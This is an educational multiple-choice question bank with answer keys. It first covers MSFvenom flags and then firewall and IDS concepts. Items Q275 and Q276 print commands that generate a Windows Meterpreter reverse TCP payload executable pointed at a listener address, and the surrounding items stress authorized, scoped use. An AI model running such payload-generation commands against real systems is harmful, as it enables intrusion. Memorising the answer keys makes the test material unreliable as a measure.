Why: The lecture uses -f for this purpose.

Source page reference: pp. 37-38

Q262 | Reverse flag recognition

What is the purpose of -f in MSFvenom?

- A. Specify the target architecture; x86 as the default.
- B. Specify the output format, such as exe or elf.
- C. Specify the encoder to use.
- D. Specify the Metasploit payload to deliver.

Answer: B. Specify the output format, such as exe or elf.

Why: The lecture associates -f with this purpose.

Source page reference: pp. 37-38

Q263 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the target architecture; x86 as the default.

- A. -e
- B. -p
- C. -a
- D. -f

Answer: C. -a

Why: The lecture uses -a for this purpose.

Source page reference: pp. 37-38

Q264 | Reverse flag recognition

What is the purpose of -a in MSFvenom?

- A. Specify the target architecture; x86 as the default.
- B. Specify the encoder to use.
- C. Specify the output format, such as exe or elf.
- D. Specify the Metasploit payload to deliver.

Answer: A. Specify the target architecture; x86 as the default.

Why: The lecture associates -a with this purpose.

Source page reference: pp. 37-38

Q265 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the encoder to use.

- A. -e
- B. -p
- C. -f
- D. -a

Answer: A. -e

Why: The lecture uses -e for this purpose.

Source page reference: pp. 37-38

Q266 | Reverse flag recognition

What is the purpose of -e in MSFvenom?

- A. Specify the output format, such as exe or elf.
- B. Specify the target architecture; x86 as the default.
- C. Specify the Metasploit payload to deliver.
- D. Specify the encoder to use.

Answer: D. Specify the encoder to use.

Why: The lecture associates -e with this purpose.

Source page reference: pp. 37-38

Q267 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Write generated output to a named file.

- A. -p
- B. -f
- C. -o
- D. -a

Answer: C. -o

Why: The lecture uses -o for this purpose.

Source page reference: pp. 37-38

Q268 | Reverse flag recognition

What is the purpose of -o in MSFvenom?

- A. Write the generated output to a named file in the extended example.
- B. Specify the target architecture; x86 as the default.
- C. Specify the output format, such as exe or elf.
- D. Specify the Metasploit payload to deliver.

Answer: A. Write the generated output to a named file in the extended example.

Why: The lecture associates -o with this purpose.

Source page reference: pp. 37-38

Q269 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the target platform.

- A. -a
- B. --platform
- C. -p
- D. -f

Answer: B. --platform

Why: The lecture uses --platform for this purpose.

Source page reference: pp. 37-38

Q270 | Reverse flag recognition

What is the purpose of --platform in MSFvenom?

- A. Specify the target platform in the extended example.
- B. Specify the target architecture; x86 as the default.
- C. Specify the output format, such as exe or elf.
- D. Specify the Metasploit payload to deliver.

Answer: A. Specify the target platform in the extended example.

Why: The lecture associates --platform with this purpose.

Source page reference: pp. 37-38

Q271 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the local or attacker-side host for a reverse connection.

- A. -a
- B. LHOST
- C. -f
- D. -p

Answer: B. LHOST

Why: The lecture uses LHOST for this purpose.

Source page reference: pp. 37-38

Q272 | Reverse flag recognition

What is the purpose of LHOST in MSFvenom?

- A. Specify the Metasploit payload to deliver.
- B. Specify the output format, such as exe or elf.
- C. Specify the local or attacker-side host for a reverse connection.
- D. Specify the target architecture; x86 as the default.

Answer: C. Specify the local or attacker-side host for a reverse connection.

Why: The lecture associates LHOST with this purpose.

Source page reference: pp. 37-38

Q273 | Flag recognition

Which MSFvenom flag or setting best matches this purpose: Specify the local or attacker-side listening port.

- A. LPORT
- B. -p
- C. -a
- D. -f

Answer: A. LPORT

Why: The lecture uses LPORT for this purpose.

Source page reference: pp. 37-38

Q274 | Reverse flag recognition

What is the purpose of LPORT in MSFvenom?

- A. Specify the target architecture; x86 as the default.
- B. Specify the output format, such as exe or elf.
- C. Specify the local or attacker-side listening port.
- D. Specify the Metasploit payload to deliver.

Answer: C. Specify the local or attacker-side listening port.

Why: The lecture associates LPORT with this purpose.

Source page reference: pp. 37-38

Q275 | Command interpretation

What payload does the example `msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=172.30.1.20 LPORT=4444` request?

- A. A DNS trace report
- B. A Linux hash dump
- C. A VNC password scan
- D. A Windows Meterpreter reverse TCP payload formatted as an executable

Answer: D. A Windows Meterpreter reverse TCP payload formatted as an executable

Why: The payload path, format, LHOST, and LPORT identify a Windows Meterpreter reverse TCP executable.

Source page reference: p. 37

Q276 | Command interpretation

In the example `msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -f exe LHOST=172.30.1.20 LPORT=4444 -o payload.exe`, what does `-o payload.exe` do?

- A. Select the remote target IP
- B. Display DNS trace output
- C. Write the generated payload to a file named `payload.exe`
- D. Start `msfconsole`

Answer: C. Write the generated payload to a file named `payload.exe`

Why: The extended example uses `-o` to name the generated output file.

Source page reference: p. 38

Q277 | Command interpretation

What is the role of in MSFvenomLHOST?

- A. The local or attacker-side host used for the reverse connection
- B. The target architecture
- C. The target host only
- D. The payload output format

Answer: A. The local or attacker-side host used for the reverse connection

Why: LHOST identifies the local listener address for a reverse connection.

Source page reference: pp. 26, 37-38

Q278 | Command interpretation

What is the role of - in MSFvenomf exe?

- A. Choose the target IP
- B. Select the FTP scanner
- C. Request executable output format
- D. Start a VNC session

Answer: C. Request executable output format

Why: The -f option controls the generated format.

Source page reference: pp. 37-38

Q279 | Ethics scenario

A generated payload is available in an authorized lab. What principle should guide any execution or delivery test?

- A. Use it only within the authorized scope and controlled environment
- B. Deploy it to any system with the same operating system
- C. Send it broadly to discover who executes it
- D. Assume that encoding creates permission

Answer: A. Use it only within the authorized scope and controlled environment

Why: Payload generation does not remove the need for permission and scope controls.

Source page reference: pp. 7-8, 10, 37-40

Q280 | Assertion-reason

Assertion: MSFvenom payload-generation examples belong in an authorized lab or scoped assessment.

Reason: Generating a payload does not itself create permission to execute or deliver it to a system.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: Authorization remains essential regardless of technical capability.

Source page reference: pp. 7-8, 37-40

Q281 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the Metasploit payload to deliver.

- A. -e
- B. -a
- C. -p
- D. -f

Answer: C. -p

Why: -p is the matching flag or setting.

Source page reference: pp. 37-38

Q282 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the output format, such as exe or elf.

- A. -f
- B. -e
- C. -p
- D. -a

Answer: A. -f

Why: -f is the matching flag or setting.

Source page reference: pp. 37-38

Q283 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the target architecture; x86 as the default.

- A. -p
- B. -a
- C. -e
- D. -f

Answer: B. -a

Why: -a is the matching flag or setting.

Source page reference: pp. 37-38

Q284 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the encoder to use.

- A. -e
- B. -a
- C. -f
- D. -p

Answer: A. -e

Why: -e is the matching flag or setting.

Source page reference: pp. 37-38

Q285 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Write generated output to a named file.

- A. -a
- B. -f
- C. -o
- D. -p

Answer: C. -o

Why: -o is the matching flag or setting.

Source page reference: pp. 37-38

Q286 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the target platform.

- A. --platform
- B. -a
- C. -f
- D. -p

Answer: A. --platform

Why: --platform is the matching flag or setting.

Source page reference: pp. 37-38

Q287 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the local or attacker-side host for a reverse connection.

- A. -a
- B. LHOST
- C. -p
- D. -f

Answer: B. LHOST

Why: LHOST is the matching flag or setting.

Source page reference: pp. 37-38

Q288 | MSFvenom flag variant

When reading an MSFvenom command, which flag or setting indicates the following: Specify the local or attacker-side listening port.

- A. -f
- B. -p
- C. LPORT
- D. -a

Answer: C. LPORT

Why: LPORT is the matching flag or setting.

Source page reference: pp. 37-38

Q289 | MSFvenom ethics variant

What should be verified before any generated payload is delivered or executed during testing?

- A. The tester can encode the payload.
- B. The target is reachable from the Internet.
- C. The action is authorized and within the agreed scope.
- D. The payload has an exe extension.

Answer: C. The action is authorized and within the agreed scope.

Why: Permission and scope are mandatory even when payload generation is technically possible.

Source page reference: pp. 7-8, 10, 37-40

End of cleaned question bank

Use the source-page references to locate the relevant lecture content during revision. Technical commands must be used only in authorized laboratories or explicitly scoped assessments.

Lecture 4 - Firewalls and intrusion detection systems

Cleaned exam-style MCQ question bank

202 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test concepts, architecture choices, ACL interpretation, and applied security scenarios. Administrative details, screenshot recall, slide-position questions, and list-membership trivia are excluded.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Firewall fundamentals and limitations	15
2. Firewall types and policy models	10
3. Static packet filtering, rules, and ACL reasoning	28
4. Packet-filter attacks and stateful inspection	17
5. Circuit-level gateways	12
6. Application gateways, bastion hosts, and endpoint firewalls	18
7. DMZ, VPN, and distributed firewall architectures	13
8. IDS fundamentals and taxonomy	13
9. Misuse detection, anomaly detection, and IPS reactions	16
10. IDS strategies, honeypots, and monitoring design	15
11. Immediate incident response, forensics, and recovery	14
12. Integrated exam scenarios	31
Total	202

Searchable quick reference

Item	Meaning
Firewall	Policy-enforcement choke point between networks of different trust
Default deny	Traffic is blocked unless explicitly allowed
Static packet filter	Uses non-dynamic rules over interface, address, protocol, and port fields
Stateful packet filter	Tracks sessions and validates packets in context
Circuit-level gateway	Validates circuits or sessions and relays allowed connections
Application-level gateway	Protocol-aware proxy that validates application requests
Bastion host	Hardened exposed host running carefully controlled services
Host-based firewall	Firewall software protecting an individual host
DMZ	Separate zone for public-facing systems
VPN / IPSec	Protected logical connection across a shared or public network
HIDS	Host-based intrusion detection
NIDS	Network-based intrusion detection
LIDS	Logging-based intrusion detection
Misuse detection	Searches for known attack signatures
Anomaly detection	Detects deviations from learned normal behavior
IPS	Reactive system capable of blocking users, changing firewall rules, or changing connectivity
Honeypot	Monitored decoy system with realistic-looking fake data or services
Immediate response	Verify, interpret, scope, classify, and prioritize
Recovery	Balance forensics, restoration priorities, backups, and communication

1. Firewall fundamentals and limitations

15 questions. Answers appear immediately below each item.

Q001 | Single answer

Which description best captures the role of a network firewall?

- A. A control point that enforces traffic policy between networks with different trust levels
- B. A replacement for endpoint patching
- C. A tool that guarantees all malware will be blocked
- D. A database used only to store authentication logs

Answer: A. A control point that enforces traffic policy between networks with different trust levels

Why: A firewall is a choke point for monitoring and restricting traffic between trust domains.

Source page reference: pp. 2-5

Q002 | Scenario

An organization wants a device between its internal LAN and the Internet that allows approved traffic and rejects disallowed traffic. Which control is most appropriate?

- A. Password manager
- B. Hypervisor snapshot
- C. File checksum utility
- D. Firewall

Answer: D. Firewall

Why: A firewall is positioned between networks to enforce access-control policy.

Source page reference: pp. 2-5

Q003 | Single answer

Which property is essential for a firewall that acts as the main enforcement point between networks?

- A. It should disable auditing to improve speed
- B. It should allow every encrypted connection
- C. It must be hardened against penetration
- D. It should trust all internal traffic automatically

Answer: C. It must be hardened against penetration

Why: If the enforcement point is compromised, its policy can be bypassed; the firewall itself must therefore be resistant to attack.

Source page reference: p. 2

Q004 | Select all that apply

Which capabilities can a firewall provide?

- A. Provide NAT and usage monitoring
- B. Guarantee that no insider can misuse authorized access
- C. Restrict network services
- D. Audit and control access
- E. Generate alarms for abnormal behavior

Answer: A, C, D, E. Restrict network services; Audit and control access; Generate alarms for abnormal behavior; Provide NAT and usage monitoring

Why: Firewalls can filter services, audit access, raise alarms, and provide NAT or monitoring; they cannot guarantee protection against insiders.

Source page reference: pp. 2-6

Q005 | Single answer

Which firewall feature translates between internal and external network addresses?

- A. Network Address Translation (NAT)
- B. Intrusion deflection
- C. Application caching
- D. Signature matching

Answer: A. Network Address Translation (NAT)

Why: NAT maps addresses and can shield internal addressing details from external networks.

Source page reference: pp. 2, 16, 24

Q006 | Single answer

Which technology can be used by a firewall to support a VPN?

- A. ARP only
- B. SMTP relay only
- C. DNS caching only
- D. IPSec

Answer: D. IPSec

Why: The firewall may implement VPNs using IPSec.

Source page reference: pp. 2, 34

Q007 | Scenario

A company blocks traffic at its Internet gateway, but an employee introduces infected software from a laptop that was compromised off-site. What does this illustrate?

- A. A packet-filtering ACL automatically sanitizes laptops
- B. A VPN prevents infections on removable devices
- C. A firewall cannot stop malware that bypasses its network path
- D. Stateful inspection always blocks imported malware

Answer: C. A firewall cannot stop malware that bypasses its network path

Why: A perimeter firewall cannot inspect traffic that never crosses it, such as malware imported through an externally infected laptop or storage device.

Source page reference: p. 6

Q008 | Scenario

An employee with legitimate internal access intentionally copies confidential files to an approved cloud service. Which firewall limitation is most relevant?

- A. A firewall cannot maintain logs
- B. A perimeter firewall cannot fully protect against internal threats
- C. A firewall cannot filter TCP traffic
- D. Application proxies cannot authenticate users

Answer: B. A perimeter firewall cannot fully protect against internal threats

Why: Firewalls do not eliminate insider risk, especially when an insider uses permitted channels.

Source page reference: p. 6

Q009 | Scenario

An attacker enters an office Wi-Fi network through an improperly secured wireless access point that bypasses the expected perimeter route. Which limitation does this demonstrate?

- A. Traffic paths that bypass the firewall remain a risk
- B. Application proxies always expose internal IP addresses
- C. NAT disables wireless security
- D. Stateful firewalls cannot process UDP

Answer: A. Traffic paths that bypass the firewall remain a risk

Why: A firewall cannot enforce policy on paths that do not pass through it.

Source page reference: p. 6

Q010 | EXCEPT / NOT

A firewall can contribute to each of the following EXCEPT:

- A. Filtering incoming and outgoing traffic
- B. Implementing access-control restrictions
- C. Recording usage information
- D. Guaranteeing that every trusted employee behaves correctly

Answer: D. Guaranteeing that every trusted employee behaves correctly

Why: Firewall enforcement is important but cannot guarantee correct behavior by trusted users.

Source page reference: pp. 2-6

Q011 | True / False

A firewall may be implemented as hardware, software, or a combination of both.

- A. Only for application proxies
- B. Only when NAT is enabled
- C. True
- D. False

Answer: C. True

Why: Firewall functionality can be provided in hardware or software.

Source page reference: p. 3

Q012 | True / False

A firewall automatically protects against every attack that uses an encrypted protocol such as SSH or TLS.

- A. Only when NAT is enabled
- B. False
- C. True
- D. Only for application proxies

Answer: B. False

Why: Encrypted or trusted services can become paths that bypass meaningful inspection unless additional controls are used.

Source page reference: p. 6

Q013 | Assertion-reason

Assertion: A perimeter firewall should be treated as one layer in a broader security architecture.

Reason: Some attacks can bypass the perimeter or originate from inside the protected network.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Firewall limitations make defense-in-depth necessary.

Source page reference: p. 6

Q014 | Comparison

Which statement correctly distinguishes a gateway function from a proxy function?

- A. A gateway stores passwords, while a proxy only performs NAT
- B. A gateway detects anomalies, while a proxy only blocks ICMP
- C. There is no conceptual distinction
- D. A gateway connects networks, while a proxy intermediates requests on behalf of endpoints

Answer: D. A gateway connects networks, while a proxy intermediates requests on behalf of endpoints

Why: A firewall may serve as a gateway between networks or act as an intermediary proxy for traffic.

Source page reference: p. 3

Q015 | Select all that apply

Which paths may allow an attack to bypass a perimeter firewall?

- A. A packet that is denied by the firewall policy
- B. A utility modem not routed through the firewall
- C. A poorly secured WLAN path
- D. Malware imported on removable storage
- E. A trusted organization connection

Answer: B, C, D, E. A utility modem not routed through the firewall; A poorly secured WLAN path; Malware imported on removable storage; A trusted organization connection

Why: Bypass paths and trusted links can evade the expected perimeter enforcement route.

Source page reference: p. 6

2. Firewall types and policy models

10 questions. Answers appear immediately below each item.

Q016 | Single answer

Which firewall type evaluates individual packets using header fields such as addresses, protocols, and ports?

- A. Logging-based IDS
- B. Packet-filtering firewall
- C. Application-level gateway
- D. Honeypot

Answer: B. Packet-filtering firewall

Why: A packet filter applies rules to packet headers, generally without application-layer context.

Source page reference: pp. 7-11

Q017 | Single answer

Which firewall type intermediates requests using application-specific proxy logic?

- A. Application-level gateway
- B. Static packet filter
- C. Circuit-level gateway only
- D. Host-based IDS

Answer: A. Application-level gateway

Why: An application-level gateway has protocol-aware proxy logic for services such as HTTP or FTP.

Source page reference: pp. 25-29

Q018 | Single answer

Which firewall type validates sessions before allowing a circuit through the firewall and commonly relays two connections?

- A. Static packet filter
- B. Personal firewall only
- C. Misuse-detection IDS
- D. Circuit-level gateway

Answer: D. Circuit-level gateway

Why: A circuit-level gateway validates sessions and relays connections without necessarily inspecting all content after setup.

Source page reference: pp. 20-24

Q019 | Single answer

Which policy model blocks traffic unless it has been explicitly allowed?

- A. Fail-open IDS
- B. Passive logging
- C. Default deny
- D. Default allow

Answer: C. Default deny

Why: Default deny follows the principle that traffic not expressly permitted is prohibited.

Source page reference: p. 8

Q020 | Single answer

Which policy model allows traffic unless it has been explicitly prohibited?

- A. Application whitelisting only
- B. Default allow
- C. Default deny
- D. State-table validation

Answer: B. Default allow

Why: Default allow permits traffic not expressly prohibited.

Source page reference: p. 8

Q021 | Scenario

A security team wants the simplest and fastest firewall component as the first layer of filtering. Which component is the usual foundation?

- A. Packet filter
- B. Honeypot
- C. Full application proxy for every protocol
- D. Forensic workstation

Answer: A. Packet filter

Why: Packet filtering is commonly the simplest and fastest firewall component.

Source page reference: p. 8

Q022 | Select all that apply

Which are basic firewall families classified by the level or style of inspection?

- A. Application-level proxy gateway
- B. Circuit-level gateway
- C. Password hash database
- D. Offline backup appliance
- E. Network-level packet filtering

Answer: A, B, E. Network-level packet filtering; Application-level proxy gateway; Circuit-level gateway

Why: The core firewall families are packet filtering, circuit-level gateways, and application-level proxies.

Source page reference: p. 7

Q023 | Comparison

Which statement best contrasts a packet filter and an application-level proxy?

- A. An application proxy cannot log traffic
- B. A packet filter validates user passwords inside HTTP requests
- C. A packet filter primarily evaluates packet metadata; an application proxy can interpret application-specific requests
- D. A packet filter is always slower than an application proxy

Answer: C. A packet filter primarily evaluates packet metadata; an application proxy can interpret application-specific requests

Why: Packet filters focus on network and transport metadata, while application proxies understand higher-level protocol semantics.

Source page reference: pp. 8-11, 25-28

Q024 | True / False

A packet filter can restrict access to services by examining destination ports.

- A. Only when NAT is enabled
- B. True
- C. False
- D. Only for application proxies

Answer: B. True

Why: Service access is often represented by protocol and port rules.

Source page reference: p. 8

Q025 | Assertion-reason

Assertion: A default-deny firewall policy is usually more restrictive than a default-allow policy.

Reason: With default deny, traffic must match an allow rule before it is permitted.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Default-deny policy requires explicit authorization.

Source page reference: p. 8

3. Static packet filtering, rules, and ACL reasoning

28 questions. Answers appear immediately below each item.

Q026 | Single answer

Which characteristic best describes a static packet-filtering rule set?

- A. The rules learn normal behavior through machine learning
- B. The rules inspect user passwords inside application protocols
- C. The rules automatically create honeypots
- D. The rules are administrator-defined and do not dynamically change with connection state

Answer: D. The rules are administrator-defined and do not dynamically change with connection state

Why: Static packet-filtering rules are non-dynamic and evaluate header fields.

Source page reference: p. 10

Q027 | Single answer

Why are static packet filters generally fast?

- A. They execute application-specific proxy code for every request
- B. They perform forensic disk imaging before forwarding traffic
- C. They perform relatively few evaluations on packet header fields
- D. They reconstruct every application session in full

Answer: C. They perform relatively few evaluations on packet header fields

Why: Static packet filters are efficient because their checks are relatively limited.

Source page reference: p. 16

Q028 | Single answer

Which limitation is typical of a static packet filter?

- A. It requires machine-learning training data
- B. It cannot inspect higher-level application-protocol semantics
- C. It cannot examine source addresses
- D. It cannot process any TCP packet

Answer: B. It cannot inspect higher-level application-protocol semantics

Why: Static packet filters do not understand application-layer protocol content.

Source page reference: pp. 10, 16

Q029 | Select all that apply

Which fields can a static packet filter use when deciding whether to allow or deny a packet?

- A. Incoming physical network interface
- B. Source address
- C. Destination address
- D. Transport protocol
- E. Source port
- F. Destination port
- G. The user password inside an HTTP form

Answer: A, B, C, D, E, F. Incoming physical network interface; Source address; Destination address; Transport protocol; Source port; Destination port

Why: Static packet filters can use interface, address, protocol, and port metadata, but not application content such as HTTP form passwords.

Source page reference: p. 11

Q030 | Classification

Which packet-filtering field represents the address from which data originates?

- A. Destination IP address
- B. Destination port
- C. Application password
- D. Source IP address

Answer: D. Source IP address

Why: The relevant ACL field is the source ip address.

Source page reference: p. 11

Q031 | Classification

Which packet-filtering field represents the address to which data is sent?

- A. Incoming interface only
- B. TCP sequence number only
- C. Destination IP address
- D. Source IP address

Answer: C. Destination IP address

Why: The relevant ACL field is the destination ip address.

Source page reference: p. 11

Q032 | Classification

Which packet-filtering field represents whether the packet uses TCP or UDP?

- A. Disk file owner
- B. Transport protocol
- C. Application URL
- D. User identity

Answer: B. Transport protocol

Why: The relevant ACL field is the transport protocol.

Source page reference: p. 11

Q033 | Classification

Which packet-filtering field represents the service endpoint on the receiving host?

- A. Destination port
- B. Source MAC address only
- C. Application password
- D. Filesystem path

Answer: A. Destination port

Why: The relevant ACL field is the destination port.

Source page reference: p. 11

Q034 | Classification

Which packet-filtering field represents the local endpoint selected by the sending host?

- A. Destination port
- B. HTTP method only
- C. DNS zone file
- D. Source port

Answer: D. Source port

Why: The relevant ACL field is the source port.

Source page reference: p. 11

Q035 | Classification

Which packet-filtering field represents the interface on which traffic enters the firewall?

- A. Database record ID
- B. User screen name
- C. Incoming network interface
- D. Outgoing email subject

Answer: C. Incoming network interface

Why: The relevant ACL field is the incoming network interface.

Source page reference: p. 11

Q036 | Scenario

A policy must prevent users on an internal network from accessing external websites over unencrypted HTTP. Which rule is most directly aligned with that goal?

- A. Drop outgoing ICMP only
- B. Drop outgoing TCP traffic to destination port 80
- C. Drop incoming UDP replies from source port 53
- D. Allow all outgoing packets to destination port 80

Answer: B. Drop outgoing TCP traffic to destination port 80

Why: HTTP is conventionally associated with TCP destination port 80, so blocking those outgoing requests enforces the policy.

Source page reference: p. 13

Q037 | Scenario

Only one public web server should accept new HTTP connections from the Internet. Which rule is most appropriate?

- A. Allow incoming TCP SYN packets to the approved web-server IP on port 80 and deny equivalent connections to other internal hosts
- B. Allow all incoming UDP packets to every internal host
- C. Drop all outgoing DNS queries
- D. Allow every incoming TCP SYN packet to any port

Answer: A. Allow incoming TCP SYN packets to the approved web-server IP on port 80 and deny equivalent connections to other internal hosts

Why: New TCP web connections can be restricted to the intended public server and service port.

Source page reference: p. 13

Q038 | Scenario

A network administrator wants to reduce the risk of the network being abused for a Smurf-style DoS attack. Which filtering action is most relevant?

- A. Allow all incoming ICMP broadcasts
- B. Drop only DNS responses
- C. Disable URL filtering
- D. Drop ICMP traffic directed to broadcast addresses

Answer: D. Drop ICMP traffic directed to broadcast addresses

Why: Smurf attacks abuse ICMP traffic sent to broadcast addresses.

Source page reference: p. 13

Q039 | Scenario

A policy aims to make network traceroute more difficult by filtering a class of diagnostic traffic. Which action is most directly relevant?

- A. Drop inbound HTTP replies only
- B. Block internal DNS queries
- C. Drop outgoing ICMP traffic
- D. Allow outgoing ICMP traffic to every destination

Answer: C. Drop outgoing ICMP traffic

Why: Filtering ICMP affects common traceroute-related diagnostic behavior.

Source page reference: p. 13

Q040 | Single answer

In an ordered ACL, how are rules normally evaluated?

- A. In alphabetical order by protocol name
- B. From top to bottom until a matching rule determines the action
- C. In random order for load balancing
- D. Only the final rule is evaluated

Answer: B. From top to bottom until a matching rule determines the action

Why: ACL order matters because earlier matching rules take precedence.

Source page reference: p. 14

Q041 | Scenario

An ACL ends with a rule that denies all protocols from all sources to all destinations. What is the main purpose of this rule?

- A. To enforce an implicit or explicit default-deny posture after specific allowances
- B. To enable NAT for every host
- C. To permit all responses automatically
- D. To train anomaly detection

Answer: A. To enforce an implicit or explicit default-deny posture after specific allowances

Why: A final deny-all rule blocks traffic not permitted by earlier exceptions.

Source page reference: p. 14

Q042 | ACL reasoning

An ACL first allows internal clients to send TCP traffic from ephemeral ports to external destination port 80, then denies everything else. Which activity is permitted?

- A. External users initiating SSH connections to internal servers
- B. Internal users sending arbitrary inbound DNS replies
- C. External hosts initiating arbitrary TCP sessions to internal workstations
- D. Internal users initiating HTTP connections to external web servers

Answer: D. Internal users initiating HTTP connections to external web servers

Why: The allow rule authorizes outbound HTTP requests from internal client ports before the deny-all rule applies.

Source page reference: p. 14

Q043 | ACL reasoning

An ACL allows UDP traffic from internal ephemeral ports to external destination port 53 and allows UDP replies from source port 53 back to internal ephemeral ports. What application behavior is being supported?

- A. SMTP delivery
- B. ICMP echo testing
- C. DNS queries and responses
- D. HTTP browsing

Answer: C. DNS queries and responses

Why: DNS commonly uses UDP port 53 for queries and responses.

Source page reference: p. 14

Q044 | ACL reasoning

Why is placing a broad allow-all rule above a narrow deny rule dangerous in a top-to-bottom ACL?

- A. A later rule always overrides an earlier rule
- B. The broad allow can match first, preventing the later deny from taking effect
- C. The deny rule automatically moves to the top
- D. Packet filters always ignore allow rules

Answer: B. The broad allow can match first, preventing the later deny from taking effect

Why: ACL processing order can make later restrictions unreachable.

Source page reference: p. 14

Q045 | Select all that apply

Which are advantages of static packet filtering?

- A. Deep inspection of application passwords
- B. Relatively high speed
- C. Simple rule evaluation
- D. Potential support for NAT
- E. Low cost

Answer: B, C, D, E. Relatively high speed; Simple rule evaluation; Potential support for NAT; Low cost

Why: Static packet filters are generally fast, simple, inexpensive, and may provide NAT; they do not deeply inspect application data.

Source page reference: p. 16

Q046 | Select all that apply

Which are limitations of static packet filtering?

- A. Limited visibility into higher-level protocols
- B. Rules often focus on addresses, protocols, and ports
- C. No application-layer semantic checks
- D. Dependence on explicit rule design
- E. Automatic understanding of every HTTP request

Answer: A, B, C, D. Limited visibility into higher-level protocols; Rules often focus on addresses, protocols, and ports; No application-layer semantic checks; Dependence on explicit rule design
Why: Static filters are efficient but have limited context and require careful rules.

Source page reference: pp. 10, 16

Q047 | Assertion-reason

Assertion: A static packet filter can be useful as a first-line control even when an application proxy is also deployed.

Reason: Static packet filters can cheaply discard clearly disallowed traffic using header fields.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion
Why: Layered firewall architectures can combine efficient filtering with deeper inspection.

Source page reference: pp. 8, 16, 25-29

Q048 | EXCEPT / NOT

Static packet filters can normally use all of the following decision inputs EXCEPT:

- A. Transport-layer destination port
- B. The password entered in an FTP login command
- C. Source IP address
- D. Destination IP address

Answer: B. The password entered in an FTP login command
Why: An FTP password is application-layer content, beyond ordinary static packet filtering.

Source page reference: pp. 10-11

Q049 | True / False

A static packet filter normally understands the full semantics of application-layer protocols such as HTTP and FTP.

- A. False
- B. True
- C. Only for application proxies
- D. Only when NAT is enabled

Answer: A. False
Why: Static packet filtering does not normally interpret application-layer semantics.

Source page reference: p. 10

Q050 | Scenario

Which firewall policy is most appropriate to block inbound connection attempts to internal Telnet services?

- A. Allow every TCP packet with destination port 23
- B. Drop outgoing DNS replies only
- C. Disable all logging and allow the traffic
- D. Drop incoming TCP SYN packets with destination port 23

Answer: D. Drop incoming TCP SYN packets with destination port 23

Why: A TCP SYN rule can prevent new inbound Telnet sessions.

Source page reference: pp. 13-15

Q051 | Scenario

Which firewall policy is most appropriate to allow external users to access a designated HTTPS server but not arbitrary internal systems?

- A. Drop outbound ICMP only
- B. Disable all logging and allow the traffic
- C. Allow inbound TCP SYN packets only to the approved server on destination port 443
- D. Allow all inbound TCP packets to every internal host

Answer: C. Allow inbound TCP SYN packets only to the approved server on destination port 443

Why: Restrict new HTTPS sessions to the public server.

Source page reference: pp. 13-15

Q052 | Scenario

Which firewall policy is most appropriate to permit internal clients to query external DNS servers?

- A. Disable all logging and allow the traffic
- B. Allow outbound UDP traffic to destination port 53 and corresponding replies
- C. Drop all UDP traffic including replies
- D. Allow inbound TCP SYN packets to every internal port

Answer: B. Allow outbound UDP traffic to destination port 53 and corresponding replies

Why: DNS commonly uses UDP destination port 53.

Source page reference: pp. 13-15

Q053 | Scenario

Which firewall policy is most appropriate to reduce exposure from unsolicited inbound connections while allowing reply traffic?

- A. Permit established or reply traffic and reject unmatched inbound connection attempts
- B. Allow all inbound SYN packets
- C. Reject all outbound traffic
- D. Disable all logging and allow the traffic

Answer: A. Permit established or reply traffic and reject unmatched inbound connection attempts

Why: Return traffic should be distinguished from unsolicited connection initiation.

Source page reference: pp. 13-15

4. Packet-filter attacks and stateful inspection

17 questions. Answers appear immediately below each item.

Q054 | Single answer

Which attack attempts to make a packet appear to originate from a trusted system by forging its source address?

- A. Tiny-fragment attack
- B. Intrusion deterrence
- C. URL filtering
- D. IP address spoofing

Answer: D. IP address spoofing

Why: IP spoofing uses a fake source address to appear trusted.

Source page reference: p. 17

Q055 | Single answer

Which mitigation is relevant to IP address spoofing at a router boundary?

- A. Disable ACL ordering
- B. Accept source-routed packets by default
- C. Filter packets whose claimed source addresses are inconsistent with the interface or expected route
- D. Allow all packets that claim to be internal

Answer: C. Filter packets whose claimed source addresses are inconsistent with the interface or expected route

Why: Ingress and egress source-address filtering reduce spoofing opportunities.

Source page reference: p. 17

Q056 | Single answer

Which attack manipulates the route a packet should follow instead of using the normal routing path?

- A. Application caching
- B. Source-routing attack
- C. Honeypot attack
- D. Static NAT translation

Answer: B. Source-routing attack

Why: A source-routing attack tries to specify a route other than the default path.

Source page reference: p. 17

Q057 | Single answer

Which mitigation addresses source-routing attacks?

- A. Reject source-routed packets
- B. Enable all source-routed packets
- C. Allow only fragmented packets
- D. Disable audit logs

Answer: A. Reject source-routed packets

Why: Blocking source-routed traffic prevents an attacker from selecting an unusual route through the network.

Source page reference: p. 17

Q058 | Single answer

Which attack splits header information across very small fragments to evade inspection?

- A. IPSec tunnel
